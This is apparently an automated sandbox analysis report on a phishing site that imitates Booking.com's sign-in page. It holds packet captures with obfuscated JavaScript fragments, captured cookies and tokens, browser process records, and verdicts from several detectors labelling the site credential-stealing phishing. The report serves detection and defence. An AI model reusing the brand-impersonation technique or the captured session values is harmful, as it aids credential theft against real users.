2024-07-08 22:43:47 UTC	7678	IN	Data Raw: 31 66 66 38 0d 0a 76 61 72 20 74 64 5f 35 69 3d 74 64 5f 35 69 7c 7c 7b 7d 3b 74 64 5f 35 69 2e 74 64 5f 32 4d 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 66 2c 74 64 5f 54 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 61 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 75 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 42 3d 30 3b 74 64 5f 42 3c 74 64 5f 54 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 42 29 7b 74 64 5f 61 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 66 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 75 29 5e 74 64 5f 54 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 42 29 29 29 3b 74 64 5f 75 2b 2b 3b 0a 69 66 28 74 64 5f 75 3e 3d 74 64 5f 66 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 75 3d 30 3b 7d 7d 72 65 74 75 72 6e 20 74 64 5f 61 2e 6a Data Ascii: 1ff8var td_5i=td_5i\|\|{};td_5i.td_2M=function(td_f,td_T){try{var td_a=[""];var td_u=0;for(var td_B=0;td_B<td_T.length;++td_B){td_a.push(String.fromCharCode(td_f.charCodeAt(td_u)^td_T.charCodeAt(td_B)));td_u++;if(td_u>=td_f.length){td_u=0;}}return td_a.j
2024-07-08 22:43:47 UTC	512	IN	Data Raw: 68 74 3b 7d 7d 76 61 72 20 74 64 5f 66 62 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 28 34 33 2c 33 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 79 37 28 74 64 5f 63 50 2c 74 64 5f 56 33 29 2b 22 78 22 2b 74 64 5f 79 37 28 74 64 5f 51 47 2c 74 64 5f 56 Data Ascii: ht;}}var td_fb=((typeof(td_5i.tdz_f7d1d89081b5403cb828735277178056)!=="undefined"&&typeof(td_5i.tdz_f7d1d89081b5403cb828735277178056.td_f)!=="undefined")?(td_5i.tdz_f7d1d89081b5403cb828735277178056.td_f(43,3)):null)+td_y7(td_cP,td_V3)+"x"+td_y7(td_QG,td_V
2024-07-08 22:43:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:47 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 26 26 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 28 34 36 2c 34 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 61 4b 2b 22 78 22 2b 74 64 5f 61 75 3b 0a 7d 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 26 26 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 58 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 26 26 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 59 21 3d 3d 5b 5d 5b 5b 5d 5d 2b Data Ascii: 1ff8&&typeof(td_5i.tdz_f7d1d89081b5403cb828735277178056.td_f)!=="undefined")?(td_5i.tdz_f7d1d89081b5403cb828735277178056.td_f(46,4)):null)+td_aK+"x"+td_au;}if(typeof window!==[][[]]+""&&typeof window.screenX!==[][[]]+""&&typeof window.screenY!==[][[]]+
2024-07-08 22:43:47 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:47 UTC	8184	IN	Data Raw: 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 28 32 31 2c 36 29 29 3a 6e 75 6c 6c 29 29 7b 74 64 5f 55 58 2b 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 Data Ascii: b5403cb828735277178056.td_f)!=="undefined")?(td_5i.tdz_f7d1d89081b5403cb828735277178056.td_f(21,6)):null)){td_UX+=((typeof(td_5i.tdz_f7d1d89081b5403cb828735277178056)!=="undefined"&&typeof(td_5i.tdz_f7d1d89081b5403cb828735277178056.td_f)!=="undefined")?(t
2024-07-08 22:43:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:47 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 2e 74 64 5f 66 28 32 33 37 2c 32 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 35 69 2e 74 6f 46 69 78 65 64 28 28 74 64 5f 67 28 29 2d 74 64 5f 4f 71 29 2c 32 29 29 3b 0a 7d 7d 69 66 28 74 79 70 65 6f 66 20 74 64 5f 35 70 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 4f 71 3d 74 64 5f 67 28 29 3b 76 61 72 20 74 64 5f 51 49 3d 74 64 5f 35 70 28 29 3b 69 66 28 74 64 5f 51 49 29 7b 74 64 5f 5a 70 2b 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 66 37 64 31 64 38 39 30 38 31 62 35 34 30 33 63 62 38 32 38 37 33 35 32 37 37 31 37 38 30 35 36 29 21 3d 3d 22 75 Data Ascii: 1ff8!=="undefined")?(td_5i.tdz_f7d1d89081b5403cb828735277178056.td_f(237,2)):null)+td_5i.toFixed((td_g()-td_Oq),2));}}if(typeof td_5p!==[][[]]+""){td_Oq=td_g();var td_QI=td_5p();if(td_QI){td_Zp+=((typeof(td_5i.tdz_f7d1d89081b5403cb828735277178056)!=="u
2024-07-08 22:43:47 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:47 UTC	8184	IN	Data Raw: 6f 66 20 74 64 5f 35 69 2e 74 64 5f 32 51 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 4f 4a 3d 74 64 5f 35 69 2e 74 64 5f 32 51 28 29 3b 7d 7d 69 66 28 74 64 5f 4f 4a 3d 3d 3d 6e 75 6c 6c 29 7b 72 65 74 75 72 6e 3b 0a 7d 69 66 28 74 79 70 65 6f 66 20 74 64 5f 4f 4a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 7c 7c 74 64 5f 4f 4a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 3d 3d 6e 75 6c 6c 29 7b 72 65 74 75 72 6e 3b 7d 76 61 72 20 74 64 5f 4c 48 3d 74 64 5f 4f 4a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 3b 69 66 28 74 64 5f 4c 48 3d 3d 3d 6e 75 6c 6c 7c 7c 74 64 5f 4c 48 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 72 65 74 75 72 6e 3b 7d 76 61 Data Ascii: of td_5i.td_2Q!==[][[]]+""){td_OJ=td_5i.td_2Q();}}if(td_OJ===null){return;}if(typeof td_OJ.getElementsByTagName===[][[]]+""\|\|td_OJ.getElementsByTagName===null){return;}var td_LH=td_OJ.getElementsByTagName("*");if(td_LH===null\|\|td_LH.length==0){return;}va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49906	104.18.32.137	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	605	OUT	GET /cookieconsentpub/v1/geo/location HTTP/1.1 Host: geolocation.onetrust.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:47 UTC	370	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:47 GMT Content-Type: application/json Content-Length: 69 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, OPTIONS Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8a03985d0ce941ac-EWR
2024-07-08 22:43:47 UTC	69	IN	Data Raw: 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 73 74 61 74 65 22 3a 22 4e 59 22 2c 22 73 74 61 74 65 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 4e 41 22 7d Data Ascii: {"country":"US","state":"NY","stateName":"New York","continent":"NA"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49908	18.164.96.48	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=274d9fcc793b012b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23kgJ03VHUtWyW-H9Q7CKxuYnf7KzrqsVI0 HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1791 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:47 UTC	1791	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4a 48 43 68 51 32 57 6a 63 79 62 30 68 50 5a 44 4d 32 54 6d 34 33 65 6d 73 7a 63 47 6c 79 61 42 49 4a 59 58 56 30 61 47 39 79 61 58 70 6c 47 68 70 6f 64 48 52 77 63 7a 6f 76 4c 32 46 6b 62 57 6c 75 4c 6d 4a 76 62 32 74 70 62 6d 63 75 59 32 39 74 4c 79 6f 43 65 33 31 43 42 47 4e 76 5a 47 55 71 45 6a 44 64 33 62 53 53 75 66 34 6d 4f 67 42 43 41 46 6a 41 32 4d 32 78 42 67 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c 61 74 65 64 2d 64 69 72 65 63 74 69 76 65 22 3a 22 63 6f 6e 6e 65 63 74 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg","referrer":"","violated-directive":"connect
2024-07-08 22:43:48 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Mon, 08 Jul 2024 22:43:48 GMT x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 c50e3f7de0b772d07240015272b1aff6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: -t6s76swdaookq3sNQVR7F1XxI6tI5YelktUtN6uqZaSDTo6eEehAA==
2024-07-08 22:43:48 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-07-08 22:43:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49909	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	607	OUT	GET /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:48 UTC	549	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:48 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: Raphael=Y2Nra6QrjW82T0tEjrwRYGMkJWUgU01TGooiu9l7fp3aUSGbW2K2uV3C4Xr3NBZqNZyM07msZi8YdcV-wH-kVUxKOnZUUsB8oQ2uiJ2Dj5zzznmS; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: https://account.booking.com Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-07-08 22:43:48 UTC	134	IN	Data Raw: 37 62 0d 0a 7b 22 6a 38 38 22 3a 22 5a 6d 5a 71 61 72 74 36 55 34 7a 47 77 55 4e 66 75 54 35 58 6b 2d 79 37 6a 55 39 54 4c 54 36 7a 67 51 69 75 79 69 42 46 4e 5f 77 59 57 68 6d 6a 46 5a 37 63 6d 4b 58 67 55 4d 79 73 39 35 73 70 33 58 57 47 4c 44 4c 6b 55 74 6e 6e 53 62 6d 36 4d 57 6c 49 6c 78 47 63 71 51 34 59 66 47 55 4f 2d 44 6a 46 37 6a 41 63 38 72 4e 56 35 32 53 76 22 7d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b{"j88":"ZmZqart6U4zGwUNfuT5Xk-y7jU9TLT6zgQiuyiBFN_wYWhmjFZ7cmKXgUMys95sp3XWGLDLkUtnnSbm6MWlIlxGcqQ4YfGUO-DjF7jAc8rNV52Sv"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49910	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:47 UTC	602	OUT	GET /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:48 UTC	331	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:48 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type
2024-07-08 22:43:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49913	172.64.155.119	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:48 UTC	380	OUT	GET /cookieconsentpub/v1/geo/location HTTP/1.1 Host: geolocation.onetrust.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:48 UTC	249	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:48 GMT Content-Type: text/javascript Content-Length: 80 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8a039861ba928cb9-EWR
2024-07-08 22:43:48 UTC	80	IN	Data Raw: 6a 73 6f 6e 46 65 65 64 28 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 73 74 61 74 65 22 3a 22 4e 59 22 2c 22 73 74 61 74 65 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 4e 41 22 7d 29 3b Data Ascii: jsonFeed({"country":"US","state":"NY","stateName":"New York","continent":"NA"});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49914	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:48 UTC	1209	OUT	GET /check-online HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pxcts=83ca0815-3d7b-11ef-ac31-1e6eccf31c73; _pxvid=83c9fb64-3d7b-11ef-ac31-449374cdc830; _pxff_fp=1; _pxff_cfp=1; _pxff_ddtc=1; _px3=b7421703164579de4a4cf0a7072cb13f045b2d4fd01257c74daec6d11f28f46f:si4damcdUrwOhs+ZcUXpZIMZTx4uQn2Z8RRBbRnxsR5z3MvHNTNjyBFggqJMTbLaOhDccQsjMXoNtpAVA4eHBQ==:1000:Lu0vJdmiWKEyfMVUelhhBa6pYDhpjgDkU0DGY5FfJE9D4kJxAGs/RrJ58EPOenbTQc7LiHw4bp3xtF9oYc501SsHMpyMkrTc4A3blidKeQ2GZZLMu4m3jerMC+XoZvwqD1ctqQv28HiHe2Cwk3q/t1FHV7poLFvMtG6J+qjwqFxdrJaiGuEQHQ5bwNOeXlArYT5iWVsgbexy18MhN8bSH2RF6NRPrQO9+vyPIRdTB28=; _pxde=9788bce90f4079379a0ce3bd27ecbc11de473b30d95d9c5cb62d93bc6a28ab3f:eyJ0aW1lc3RhbXAiOjE3MjA0Nzg2MTkxNzUsImZfa2IiOjAsImlwY19pZCI6W119
2024-07-08 22:43:48 UTC	569	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:48 GMT Content-Type: application/json Content-Length: 4 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zMJSHygYLHWtk2puNsU46JQC%2BSZpzA6tTd0sK3AInpXr22yGiw0rVVtT%2BoJu6ZByHDSA%2BQcGxLnFg%2F6fI9y%2Fqwv6lF0G7GY%2FNAruqEaeUzLK09IPzVxTXde9T9uvaEh6iGD9uw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a039861b9ba42bc-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:48 UTC	4	IN	Data Raw: 6e 75 6c 6c Data Ascii: null

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5412, Parent PID: 6048

General

Target ID:	0
Start time:	18:43:18
Start date:	08/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5492, Parent PID: 5412

General

Target ID:	2
Start time:	18:43:20
Start date:	08/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3700, Parent PID: 6048

General

Target ID:	3
Start time:	18:43:23
Start date:	08/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hotel-id637438.eu/sign-in"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 1320, Parent PID: 5412

General

Target ID:	4
Start time:	18:43:28
Start date:	08/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5860 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 1464, Parent PID: 5412

General

Target ID:	5
Start time:	18:43:28
Start date:	08/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5988 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://hotel-id637438.eu/sign-in	Avira URL Cloud: detection malicious, Label: phishing
Source: https://hotel-id637438.eu/sign-in	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social usering

Source: https://hotel-id637438.eu/static/challenge.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/static/otSDKStub.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/static/OtAutoBlock.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/px.v7.5.3.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/static/clientlib.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/check-online	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/static/us.png	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/static/589_c56f1bb12a33c98c0094.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	Avira URL Cloud: Label: malware
Source: https://hotel-id637438.eu/static/842_b7cfe71a24f37e243c53.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	Avira URL Cloud: Label: malware

Source: https://hotel-id637438.eu	LLM: Score: 8 brands: Booking.com Reasons: The URL 'https://hotel-id637438.eu' does not match the legitimate domain 'booking.com' associated with the brand Booking.com. The use of a different domain name is a common social usering technique used in phishing attacks to mislead users. The page prominently features a login form, which is another common characteristic of phishing sites. There is no CAPTCHA present, which is often used by legitimate sites to prevent automated attacks. The overall design of the page closely resembles the legitimate Booking.com site, which could further mislead users into believing it is authentic. Given these factors, the site is highly likely to be a phishing site. DOM: 0.0.pages.csv
